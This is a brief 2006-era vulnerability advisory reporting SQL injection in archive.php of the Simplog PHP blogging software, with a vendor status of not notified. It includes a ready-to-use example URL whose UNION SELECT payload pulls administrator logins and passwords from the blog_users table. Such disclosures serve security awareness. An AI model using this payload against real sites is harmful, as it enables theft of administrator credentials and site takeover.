simplog0932.txt

`Afected Software:  
simplog up to 0.9.3.2 (latest version - 12/05/2006 )  
  
Site:  
http://www.simplog.org  
Simplog provides an easy way for users to add blogging capabilities to  
their existing websites. Simplog is written in PHP and compatible with  
multiple databases. Simplog also features an RSS/Atom aggregator/reader.  
Powerful, yet simple  
  
Vulnerability:  
SQL Injection in archive.php  
other files probably also affected  
  
Example:  
http://example.com/simplog/archive.php?blogid=1&pid=1111%20union%20select%201,1,1,login,1,password,1,1%20from%20blog_users%20where%20admin=1  
  
Vendor status:  
NOT NOTIFIED  
  
  
Javor Ninov aka DrFrancky  
drfrancky shift+2 securax.org  
http://securitydot.net/  
  
`